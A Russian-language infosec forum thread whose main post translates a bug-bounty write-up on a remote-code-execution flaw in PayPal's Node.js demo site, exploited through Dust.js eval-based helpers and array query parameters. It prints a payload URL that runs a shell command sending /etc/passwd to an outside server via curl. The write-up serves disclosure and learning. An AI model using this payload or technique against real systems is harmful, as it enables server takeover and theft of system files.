.

sputnik.social

1337 h4x0rz


#1

Обсуждаем темы, связанные с ИБ. Пока что все ограничено рамками приличия: профлитература, новости из ИБ, ссылки на годные CTF, курсы, вебинары и прочее. Если дорредакция сделает закрытый раздел, то можем делиться разным злом и добром :)

И да прибудет с вами root!


#2

А тут есть кто нибудь из DC7499 ? ;-)


#3

Боюсь спросить, шо це такое.


#4

печалька. это сообщество всяких безопасников, любителей похакать и т.п. найди в инете. я просто думал вдруг мир тесен и тут кто нибудь из сообщства обитает


Вопросы и ответы
#5

Возможно. Сам я на дамаге и эксплоите тусуюсь (на последнем чаще), еще на парочке мелких околошкольных борд.


#6

Решу себя попробовать в скромном переводе интересной статьи по фаззингу (забивания говном каждой дырки, дабы найти признак нестандартного поведения и возможности инъекции кода). В целом в оригинале читается просто и на одном дыхании, а для тех кому все это трудно (АНГЛИЙСКОМУ МЕНЯ В ШКОЛЕ НЕ УЧИЛИ!), читайте мой надмозговый перевод прямо тут (предложения по исправлению принимаются, чукча не писатель, сами знаете). Если сие понравится, то продолжу это делать для уважаемой публики время от времени.

[demo.paypal.com] Инъекция исполняемого кода в Node.js (RCE)

Когда я пытаюсь найти уязвимости в веб-приложениях, я всегда занимаюсь фаззингом всех http-параметров, и порой это дает мне нечто интересное:

Сервер сайта demo.paypal.com ответил по-разному на запросы ‘’ и ‘%0a’, выбросив ошибку ‘syntax error’. В тоже время в ответ на одинарную кавычку, двойную, одинарный апостроф и двойной, а также другие символы сервер выдал 200 ОК.

Из сообщений об ошибке я обнаружил, что PayPal Node.Js приложение использует Dust.js javascript шаблонизатор на серверной стороне, и решил на него взглянуть. После того как я просмотрел исходный код на гитхабе, я заметил, что проблема связана с использованием “if” dust.js хелперов.

Старые версии Dust.js поддерживают “if helpers”, вы можете их использовать в своем коде, например, так:

Внутри себя if helper использует функцию eval javascipt’ а для комплексного сравнения выражений:

Eval! Почему бы и нет? Простое и элегантное решение.

Итак, когда я отправляю запрос на http://_demo.paypal.com/demo/navigation?device=xxx\ приложение пытается сравнить следующее javascript выражение:

Из-за чего и выбрасывается синтаксическая ошибка.

Не означает ли это, что данные введенные пользователем поступают в eval() напрямую? Не совсем, в приложении предусмотрена перестановка нескольких опасных символов, включая одиночную кавычку и двойную в html код (’ -> '), так что напрямую закрыть строку и проэксплуатировать произвольный javascript код мы не можем. Но давайте посмотрим функцию, которая занимается перестановкой символов, поближе:

Хмм, а что если s параметер не строка? В Node.js мы можем отослать запрос типа paypal.com/?device[]=1&device[]=2 и параметр device спарсится qs модулем в качестве массива вместо строки.

Я быстро сделал запрос https://_demo.paypal.com/demo/navigation?device[]=&device[]=’ и когда сервер ответил “syntax error”, мое кресло начало трястись подо мной.

Я немного знаком c Node.js, так что мне потребовалось всего несколько минут, чтобы скрафтить тестовый пейлоад, который бы отсылал /etc/passwd файл на мой сервер.

https://_demo.paypal.com/demo/navigation?device[]=x&device[]=y’-require(‘child_process’).exec(‘curl±F+“x=cat+/etc/passwd”+artsploit.com’)-’

Эта строчка принесла мне десять тысяч долларов.

via Artsploit

P.S. К слову это наш соотечественник, сотрудник фирмы Positive Technologies.


#7

Еще из новенького. Выложил на складчину все файлы со стажировки PT. Не то чтобы это такой прям приват, но много интересного материала прямо для новичков:


#8

Я бы рекомендовал читать их блоги и выступления. Там можно найти интересные подходы или отсылки к ним, делиться с которыми они не будут - это их хлеб.